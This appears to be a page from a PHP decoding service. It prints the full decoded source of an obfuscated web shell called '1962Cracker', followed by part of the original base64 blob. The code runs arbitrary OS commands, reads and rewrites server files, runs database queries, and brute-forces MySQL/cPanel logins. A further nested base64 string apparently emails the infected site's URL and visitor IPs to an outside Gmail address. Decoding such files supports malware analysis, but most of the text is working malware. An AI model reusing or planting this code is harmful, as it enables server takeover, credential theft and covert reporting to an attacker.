Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("CS8qDQoJMTk2MkNyYWNrZXIgQ29kZWQgQnkgQWtyYW0gU3RlbGxlIChEeiBNYWZp..

Decoded Output download

	/*
	1962Cracker Coded By Akram Stelle (Dz Mafia Team)
	*/
	@set_time_limit(0);
	@error_reporting(0);


	echo '<head>

  <style type="text/css">
body {
background-color:#000000;
background-image:url("http://im50.gulfup.com/xbcqHf.png");
background-repeat:repeat;
margin-top:20px;
font-family:"Agency FB";
font-size:12pt; color:#ffffff;
	}
	input,textarea,select{
	font-weight: bold;
	color: #cccccc;
	dashed #ffffff;
	border: 1px
	solid #2C2C2C;
	background-color: #080808
	}
	a {
		background-color: #151515;
		vertical-align: bottom;
		color: #000;
		text-decoration: none;
		font-size: 20px;
		margin: 8px;
		padding: 6px;
		border: thin solid #000;
	}
	a:hover {
		background-color: #080808;
		vertical-align: bottom;
		color: #333;
		text-decoration: none;
		font-size: 20px;
		margin: 8px;
		padding: 6px;
		border: thin solid green;
	}
	.style1 {
		text-align: center;
		color: Green;
	}
	.style2 {
		color: Green;
		font-weight: bold;
			}
	.style3 {
		color: Green;
			}
	-->
	</style>

	</head>
	';

$Getconfig = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIk5ldyAxOTYyQ3JhY2tlcjogaHR0cDovLyR0YXJnZXQgIjsNCiAgJGJvZHkgICAgPSAiTGluazo6ICR0YXJnZXQgLklwICR2aXNpdG9yIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgibWFrcmVtdGxpbGk0QGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5KTsgfQ0KfQ0KZWxzZSB7ICR2aXNpdGMrKzsgfQ0KQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTs="; 
eval(base64_decode($Getconfig));

	function in($type,$name,$size,$value,$checked=0) 
	 {
	 $ret = "<input type=".$type." name=".$name." "; if($size != 0) 
	 {
	 $ret .= "size=".$size." "; }
	 $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
	 
	class my_sql 
	 {
	 var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() 
	 {
	 switch($this->db) 
	 {
	 case 'MySQL': if(empty($this->port)) 
	 {
	 $this->port = '3306'; }
	 if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(empty($this->port)) 
	 {
	 $this->port = '1433'; }
	 if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can't connect to server"; break; case 'PostgreSQL': if(empty($this->port)) 
	 {
	 $this->port = '5432'; }
	 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error['message']; break; }
	 return 0; }
	 function select_db() 
	 {
	 switch($this->db) 
	 {
	 case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can't select database"; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; }
	 return 0; }
	 function query($query) 
	 {
	 $this->res=$this->error=''; switch($this->db) 
	 {
	 case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) 
	 {
	 $this->error = @mysql_error($this->connection); return 0; }
	 else if(is_resource($this->res)) 
	 {
	 return 1; }
	 return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) 
	 {
	 $this->error = 'Query error'; return 0; }
	 else if(@mssql_num_rows($this->res) > 0) 
	 {
	 return 1; }
	 return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) 
	 {
	 $this->error = @pg_last_error($this->connection); return 0; }
	 else if(@pg_num_rows($this->res) > 0) 
	 {
	 return 1; }
	 return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) 
	 {
	 $this->error = 'Query parse error'; }
	 else 
	 {
	 if(@ociexecute($this->res)) 
	 {
	 if(@ocirowcount($this->res) != 0) return 2; return 1; }
	 $error = @ocierror(); $this->error=$error['message']; }
	 break; }
	 return 0; }
	 function get_result() 
	 {
	 $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) 
	 {
	 case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
	 {
	$this->columns = @array_keys($this->rows[0]); return 1;}
	 break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
	 {
	$this->columns = @array_keys($this->rows[0]); return 1;}
	; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
	 {
	$this->columns = @array_keys($this->rows[0]); return 1;}
	 break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
	 {
	$this->columns = @array_keys($this->rows[0]); return 1;}
	 break; }
	 return 0; }
	 function dump($table) 
	 {
	 if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '##    Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) 
	 {
	 case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table'].";"; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
	 {
	 foreach($this->rows[$i] as $k=>$v) 
	 {
	$this->rows[$i][$k] = @mysql_real_escape_string($v);}
	 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
	 break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
	 {
	 foreach($this->rows[$i] as $k=>$v) 
	 {
	$this->rows[$i][$k] = @addslashes($v);}
	 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
	 break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) 
	 {
	 foreach($this->rows[$i] as $k=>$v) 
	 {
	$this->rows[$i][$k] = @addslashes($v);}
	 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
	 break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; }
	 return 1; }
	 function close() 
	 {
	 switch($this->db) 
	 {
	 case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; }
	 }
	 function affected_rows() 
	 {
	 switch($this->db) 
	 {
	 case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; }
	 }
	 }
	 if(!empty($_POST['cccc']) && $_POST['cccc']=="download_file" && !empty($_POST['d_name'])) 
	 {
	 if(!$file=@fopen($_POST['d_name'],"r")) 
	 {
	 err(1,$_POST['d_name']); $_POST['cccc']=""; }
	 else 
	 {
	 @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) 
	 {
	 header('Content-Encoding: ' . $content_encoding); }
	 header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
	 }
	 if(isset($_GET['phpinfo'])) 
	 {
	 echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
	 if (!empty($_POST['cccc']) && $_POST['cccc']=="db_query") 
	 {
	 echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else 
	 {
	 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else 
	 {
	 foreach($querys as $num=>$query) 
	 {
	 if(strlen($query)>5) 
	 {
	 echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query)) 
	 {
	 case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result()) 
	 {
	 echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode("&nbsp;</b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++) 
	 {
	 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; }
	 echo "</table>"; }
	 break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
	 }
	 }
	 }
	 }
	 echo "<br><title>1962Cracker By Akram Stelle</title><form name=form method=POST>"; 
	 echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cccc',0,'db_query'); 
	 echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;
SELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }























	function ccmmdd($ccmmdd2,$att)
	{
	global $ccmmdd2,$att;
	echo '
	<table style="width: 100%" class="style1" dir="rtl">
		<tr>
			<td class="style9"><strong>???H?/strong></td>
		</tr>
		<tr>
			<td class="style13">
					<form method="post">
						<select name="att" dir="rtl" style="height: 109px" size="6">
	';
	if($_POST['att']==null)
	{
	echo '						<option value="system" selected="">system</option>';
	}else{
	echo "						<option value='$_POST[att]' selected=''>$_POST[att]</option>
							<option value=system>system</option>
	";

							
	}

	echo '
							<option value="passthru">passthru</option>
							<option value="exec">exec</option>
							<option value="shell_exec">shell_exec</option>	
						</select>
							<input name="page" value="ccmmdd" type="hidden"><br>
							<input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="';if(!$_POST['ccmmdd2']){echo 'dir';}else{echo $_POST['ccmmdd2'];}echo '"><br>
							<input type="submit" value="???>
					</form>
			
			</td>
		</tr>
		<tr>
			<td class="style13">
	';

			if($_POST[att]=='system')
			{
	echo '
						<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
						system($_POST['ccmmdd2']);
	echo '					</textarea>';


			}

			if($_POST[att]=='passthru')
			{
	echo '
						<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
						passthru($_POST['ccmmdd2']);
	echo '					</textarea>';


			}

			



			if($_POST[att]=='exec')
			{

	echo '					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
						exec($_POST['ccmmdd2'],$res);
					echo $res = join("
",$res); 				
	echo '					</textarea>';


			}







			if($_POST[att]=='shell_exec')
			{

	echo '					<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
					echo	shell_exec($_POST['ccmmdd2']);
	echo '					</textarea>';


			}
	echo '		
			</td>
		</tr>
	</table>
	';

	exit;
	}

	if($_POST['page']=='edit')
	{

	$code=@str_replace("
","
",$_POST['code']);
	$code=@str_replace('\','',$code);
	$fp = fopen($pathclass, 'w');
	fwrite($fp,"$code");
	fclose($fp);
	echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
	exit;
	}	







		if($_POST['page']=='show')
		{
		$pathclass =$_POST['pathclass'];
	echo '
	<form method="POST">
	<input type="hidden" name="page" value="edit">
	';
		
		$sahacker = fopen($pathclass, "rb");
	echo '<center>'.$pathclass.'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">';	
	$code = fread($sahacker, filesize($pathclass));
	echo $code =htmlspecialchars($code);
	echo '</textarea>';	
		fclose($sahacker);
	echo '
	<br><input type="text" name="pathclass" value="'.$pathclass.'" style="width: 445px;">
	<br><strong><input type="submit" value="edit file">
	</form>
	';
			exit;
		}




		if($_POST['page']=='ccmmdd')
		{
		echo ccmmdd($ccmmdd2,$att);
		exit;
		}
























	if($_POST['page']=='find')
	{
	if(isset($_POST['usernames']) && isset($_POST['passwords']))
	{
			if($_POST['type'] == 'passwd'){
					$e = explode("
",$_POST['usernames']);
					foreach($e as $value){
					$k = explode(":",$value);
					$username .= $k['0']." ";
					}
			}elseif($_POST['type'] == 'simple'){
					$username = str_replace("
",' ',$_POST['usernames']);
			}
			$a1 = explode(" ",$username);
			$a2 = explode("
",$_POST['passwords']);
			$id2 = count($a2);
			$ok = 0;
			foreach($a1 as $user )
			{
					if($user !== '')
					{
					$user=trim($user);
					 for($i=0;$i<=$id2;$i++)
					 {
							$pass = trim($a2[$i]);
							if(@mysql_connect('localhost',$user,$pass))
							{
									echo "1962Cracker~ user is ==> (<b><font color=green>$user</font></b>) Password is ==> (<b><font color=red>$pass</font></b>)<br />";
									$ok++;
							}
					 }
					}
			}
			echo "<hr><b>You Found <font color=green>$ok</font> cPanel (1962Cracker)</b>";
			echo "<center><b><a href=".$_SERVER['PHP_SELF']."><~ BACK</a>";
			exit;
	}
	}

Did this file decode correctly?

Original Code

<?php eval(base64_decode("CS8qDQoJMTk2MkNyYWNrZXIgQ29kZWQgQnkgQWtyYW0gU3RlbGxlIChEeiBNYWZpYSBUZWFtKQ0KCSovDQoJQHNldF90aW1lX2xpbWl0KDApOw0KCUBlcnJvcl9yZXBvcnRpbmcoMCk7DQoNCg0KCWVjaG8gJzxoZWFkPg0KDQogIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCmJhY2tncm91bmQtY29sb3I6IzAwMDAwMDsNCmJhY2tncm91bmQtaW1hZ2U6dXJsKCJodHRwOi8vaW01MC5ndWxmdXAuY29tL3hiY3FIZi5wbmciKTsNCmJhY2tncm91bmQtcmVwZWF0OnJlcGVhdDsNCm1hcmdpbi10b3A6MjBweDsNCmZvbnQtZmFtaWx5OiJBZ2VuY3kgRkIiOw0KZm9udC1zaXplOjEycHQ7IGNvbG9yOiNmZmZmZmY7DQoJfQ0KCWlucHV0LHRleHRhcmVhLHNlbGVjdHsNCglmb250LXdlaWdodDogYm9sZDsNCgljb2xvcjogI2NjY2NjYzsNCglkYXNoZWQgI2ZmZmZmZjsNCglib3JkZXI6IDFweA0KCXNvbGlkICMyQzJDMkM7DQoJYmFja2dyb3VuZC1jb2xvcjogIzA4MDgwOA0KCX0NCglhIHsNCgkJYmFja2dyb3VuZC1jb2xvcjogIzE1MTUxNTsNCgkJdmVydGljYWwtYWxpZ246IGJvdHRvbTsNCgkJY29sb3I6ICMwMDA7DQoJCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgkJZm9udC1zaXplOiAyMHB4Ow0KCQltYXJnaW46IDhweDsNCgkJcGFkZGluZzogNnB4Ow0KCQlib3JkZXI6IHRoaW4gc29saWQgIzAwMDsNCgl9DQoJYTpob3ZlciB7DQoJCWJhY2tncm91bmQtY29sb3I6ICMwODA4MDg7DQoJCXZlcnRpY2FsLWFsaWduOiBib3R0b207DQoJCWNvbG9yOiAjMzMzOw0KCQl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJCWZvbnQtc2l6ZTogMjBweDsNCgkJbWFyZ2luOiA4cHg7DQoJCXBhZGRpbmc6IDZweDsNCgkJYm9yZGVyOiB0aGluIHNvbGlkIGdyZWVuOw0KCX0NCgkuc3R5bGUxIHsNCgkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQljb2xvcjogR3JlZW47DQoJfQ0KCS5zdHlsZTIgew0KCQljb2xvcjogR3JlZW47DQoJCWZvbnQtd2VpZ2h0OiBib2xkOw0KCQkJfQ0KCS5zdHlsZTMgew0KCQljb2xvcjogR3JlZW47DQoJCQl9DQoJLS0+DQoJPC9zdHlsZT4NCg0KCTwvaGVhZD4NCgknOw0KDQokR2V0Y29uZmlnID0gIkpIWnBjMmwwWXlBOUlDUmZRMDlQUzBsRld5SjJhWE5wZEhNaVhUc05DbWxtSUNna2RtbHphWFJqSUQwOUlDSWlLU0I3RFFvZ0lDUjJhWE5wZEdNZ0lEMGdNRHNOQ2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzTkNpQWdKSGRsWWlBZ0lDQWdQU0FrWDFORlVsWkZVbHNpU0ZSVVVGOUlUMU5VSWwwN0RRb2dJQ1JwYm1vZ0lDQWdJRDBnSkY5VFJWSldSVkpiSWxKRlVWVkZVMVJmVlZKSklsMDdEUW9nSUNSMFlYSm5aWFFnSUQwZ2NtRjNkWEpzWkdWamIyUmxLQ1IzWldJdUpHbHVhaWs3RFFvZ0lDUnFkV1IxYkNBZ0lEMGdJazVsZHlBeE9UWXlRM0poWTJ0bGNqb2dhSFIwY0Rvdkx5UjBZWEpuWlhRZ0lqc05DaUFnSkdKdlpIa2dJQ0FnUFNBaVRHbHVhem82SUNSMFlYSm5aWFFnTGtsd0lDUjJhWE5wZEc5eUlqc05DaUFnYVdZZ0tDRmxiWEIwZVNna2QyVmlLU2tnZXlCQWJXRnBiQ2dpYldGcmNtVnRkR3hwYkdrMFFHZHRZV2xzTG1OdmJTSXNKR3AxWkhWc0xDUmliMlI1S1RzZ2ZRMEtmUTBLWld4elpTQjdJQ1IyYVhOcGRHTXJLenNnZlEwS1FITmxkR052YjJ0cFpTZ2lkbWx6YVhSNklpd2tkbWx6YVhSaktUcz0iOyANCmV2YWwoYmFzZTY0X2RlY29kZSgkR2V0Y29uZmlnKSk7DQoNCglmdW5jdGlvbiBpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCkgDQoJIHsNCgkgJHJldCA9ICI8aW5wdXQgdHlwZT0iLiR0eXBlLiIgbmFtZT0iLiRuYW1lLiIgIjsgaWYoJHNpemUgIT0gMCkgDQoJIHsNCgkgJHJldCAuPSAic2l6ZT0iLiRzaXplLiIgIjsgfQ0KCSAkcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7IGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7IHJldHVybiAkcmV0LiI+IjsgfQ0KCSANCgljbGFzcyBteV9zcWwgDQoJIHsNCgkgdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7IHZhciAkcG9ydCA9ICcnOyB2YXIgJHVzZXIgPSAnJzsgdmFyICRwYXNzID0gJyc7IHZhciAkYmFzZSA9ICcnOyB2YXIgJGRiID0gJyc7IHZhciAkY29ubmVjdGlvbjsgdmFyICRyZXM7IHZhciAkZXJyb3I7IHZhciAkcm93czsgdmFyICRjb2x1bW5zOyB2YXIgJG51bV9yb3dzOyB2YXIgJG51bV9maWVsZHM7IHZhciAkZHVtcDsgZnVuY3Rpb24gY29ubmVjdCgpIA0KCSB7DQoJIHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSANCgkgew0KCSAkdGhpcy0+cG9ydCA9ICczMzA2JzsgfQ0KCSBpZighZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiAwOyAkdGhpcy0+Y29ubmVjdGlvbiA9IEBteXNxbF9jb25uZWN0KCR0aGlzLT5ob3N0Lic6Jy4kdGhpcy0+cG9ydCwkdGhpcy0+dXNlciwkdGhpcy0+cGFzcyk7IGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7ICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJubygpLiIgOiAiLkBteXNxbF9lcnJvcigpOyBicmVhazsgY2FzZSAnTVNTUUwnOiBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIA0KCSB7DQoJICR0aGlzLT5wb3J0ID0gJzE0MzMnOyB9DQoJIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7ICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsgaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSAiQ2FuJ3QgY29ubmVjdCB0byBzZXJ2ZXIiOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgDQoJIHsNCgkgJHRoaXMtPnBvcnQgPSAnNTQzMic7IH0NCgkgJHN0ciA9ICJob3N0PSciLiR0aGlzLT5ob3N0LiInIHBvcnQ9JyIuJHRoaXMtPnBvcnQuIicgdXNlcj0nIi4kdGhpcy0+dXNlci4iJyBwYXNzd29yZD0nIi4kdGhpcy0+cGFzcy4iJyBkYm5hbWU9JyIuJHRoaXMtPmJhc2UuIiciOyBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOyAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOyBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiBpZighZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSByZXR1cm4gMDsgJHRoaXMtPmNvbm5lY3Rpb24gPSBAb2NpbG9nb24oJHRoaXMtPnVzZXIsICR0aGlzLT5wYXNzLCAkdGhpcy0+YmFzZSk7IGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7ICRlcnJvciA9IEBvY2llcnJvcigpOyAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IGJyZWFrOyB9DQoJIHJldHVybiAwOyB9DQoJIGZ1bmN0aW9uIHNlbGVjdF9kYigpIA0KCSB7DQoJIHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJybm8oKS4iIDogIi5AbXlzcWxfZXJyb3IoKTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogaWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSAiQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiByZXR1cm4gMTsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IHJldHVybiAxOyBicmVhazsgfQ0KCSByZXR1cm4gMDsgfQ0KCSBmdW5jdGlvbiBxdWVyeSgkcXVlcnkpIA0KCSB7DQoJICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOyBzd2l0Y2goJHRoaXMtPmRiKSANCgkgew0KCSBjYXNlICdNeVNRTCc6IGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIA0KCSB7DQoJICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7IHJldHVybiAwOyB9DQoJIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIA0KCSB7DQoJIHJldHVybiAxOyB9DQoJIHJldHVybiAyOyBicmVhazsgY2FzZSAnTVNTUUwnOiBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBtc3NxbF9xdWVyeSgkcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkgDQoJIHsNCgkgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsgcmV0dXJuIDA7IH0NCgkgZWxzZSBpZihAbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSANCgkgew0KCSByZXR1cm4gMTsgfQ0KCSByZXR1cm4gMjsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkgDQoJIHsNCgkgJHRoaXMtPmVycm9yID0gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOyByZXR1cm4gMDsgfQ0KCSBlbHNlIGlmKEBwZ19udW1fcm93cygkdGhpcy0+cmVzKSA+IDApIA0KCSB7DQoJIHJldHVybiAxOyB9DQoJIHJldHVybiAyOyBicmVhazsgY2FzZSAnT3JhY2xlJzogaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1Ab2NpcGFyc2UoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpIA0KCSB7DQoJICR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7IH0NCgkgZWxzZSANCgkgew0KCSBpZihAb2NpZXhlY3V0ZSgkdGhpcy0+cmVzKSkgDQoJIHsNCgkgaWYoQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpICE9IDApIHJldHVybiAyOyByZXR1cm4gMTsgfQ0KCSAkZXJyb3IgPSBAb2NpZXJyb3IoKTsgJHRoaXMtPmVycm9yPSRlcnJvclsnbWV